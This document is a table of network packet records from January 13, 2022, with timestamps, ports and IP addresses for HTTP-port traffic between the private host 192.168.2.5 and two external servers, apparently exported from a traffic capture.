Jan 13, 2022 20:51:29.363559961 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363590002 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.403155088 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.403184891 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.403208971 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.403357983 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.403861046 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.403892040 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.403920889 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.403944969 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.403945923 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.403965950 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.403987885 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.403989077 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.404015064 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.404055119 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.404067993 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.404234886 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.431255102 CET	49843	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.487550974 CET	80	49843	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:29.487700939 CET	49843	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.487824917 CET	49843	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.487838984 CET	49843	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.518393040 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.518480062 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.543622017 CET	80	49843	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:29.600317955 CET	80	49843	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:29.600455046 CET	49843	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.600646019 CET	49843	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.656415939 CET	80	49843	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:29.690478086 CET	49844	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.748785973 CET	80	49844	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:29.748919010 CET	49844	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.749018908 CET	49844	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.749032021 CET	49844	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.804668903 CET	80	49844	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:29.855947971 CET	80	49844	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:29.856128931 CET	49844	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.856504917 CET	49844	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:29.912812948 CET	80	49844	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:29.941263914 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.000710011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.000804901 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.000907898 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.089241982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089282990 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089303017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089314938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089334965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089353085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089370966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089389086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089399099 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.089407921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089426041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.089426994 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.089451075 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.089469910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.155329943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.155385017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.155427933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.155452967 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.155457973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.155497074 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.159105062 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.159141064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.159153938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.159179926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.159286022 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.159331083 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.159749985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.159873962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.159925938 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.210033894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.210067034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.210135937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.210155010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.210160017 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.210222006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.214340925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.214366913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.214384079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.214401007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.214428902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.214452982 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.214679003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.214696884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.214725971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.214754105 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.264735937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.264770985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.264800072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.269907951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.269938946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.269957066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.269975901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.269978046 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.270005941 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.274544954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.274570942 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.274589062 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.274606943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.274626017 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.274660110 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.319792032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.319860935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.319941044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.325254917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.325294018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.325370073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.325397015 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.325432062 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.325469971 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.330149889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.330188036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.330204010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.330221891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.330267906 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.330326080 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.375581980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.375663042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.375726938 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.380460024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.380512953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.380552053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.380568981 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.380587101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.380605936 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.385221958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.385325909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.385361910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.385415077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.385416031 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.385442019 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.385457039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.385497093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.385509968 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.430730104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.430871964 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.435600996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.435657978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.435709953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.435751915 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.435774088 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.435817957 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.440133095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.440191031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.440232992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.440274954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.440279961 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.440315008 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.440327883 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.440356970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.440427065 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.485539913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.485589027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.485671043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.490618944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.490668058 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.490748882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.493560076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.493611097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.493721962 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.495213985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.495261908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.495280981 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.495297909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.495315075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.495323896 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.495332956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.495338917 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.495349884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.495384932 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.540718079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.540844917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.540927887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.548894882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.548978090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.549084902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.549360037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.549415112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.549432039 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.549877882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.549942017 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.549968958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.550029993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.550081015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.550102949 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.550198078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.550257921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.550288916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.595828056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.595863104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.595978022 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.603631973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.603658915 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.603743076 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.603851080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.603873968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.603904009 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.605957985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.605992079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.606019020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.606061935 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.606091022 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.606194019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.606914997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.606940985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.606996059 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.648164988 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.650681973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.650731087 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.650759935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.650799036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.650826931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.650835037 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.650899887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.658727884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.658775091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.658829927 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.660845041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.660887003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.660907030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.660919905 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.660960913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.660974026 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.665014029 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.665065050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.665111065 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.703187943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.703216076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.703329086 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.705738068 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.705760956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.705779076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.705795050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.705806971 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.705825090 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.713685989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.713709116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.713798046 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.715353966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.715399027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.715420008 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.715441942 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.715461969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.715477943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.720458984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.720489025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.720592976 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.759313107 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.759351015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.759381056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.759397984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.759408951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.759433031 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.762407064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.762439013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.762492895 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.768518925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.768567085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.768599033 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.768600941 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.768639088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.768651009 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.770509005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.770558119 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.770595074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.770603895 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.770638943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.775996923 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.776031017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.776053905 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.776096106 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.814662933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.814708948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.814733028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.814780951 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.814817905 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.817961931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.818002939 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.818068027 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.823513031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.823569059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.823607922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.823637009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.823647976 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.823679924 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.826170921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.826215982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.826248884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.826276064 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.830945015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.830977917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.830998898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.831017017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.831083059 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.831130028 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.869939089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.869992018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.870016098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.870040894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.870039940 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.870066881 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.873403072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.873486996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.873512030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.878664970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.878710985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.878743887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.878774881 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.878804922 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.878837109 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.881444931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.881499052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.881546021 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.885701895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.885751963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.885776997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.885790110 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.885798931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.885874987 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.886010885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.886035919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.886073112 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.924988031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.925035954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.925070047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.925124884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.925182104 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.929017067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.929064035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.929142952 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.934637070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.934679031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.934696913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.934719086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.934752941 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.934787035 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.934828043 CET	49845	80	192.168.2.5	45.135.233.182
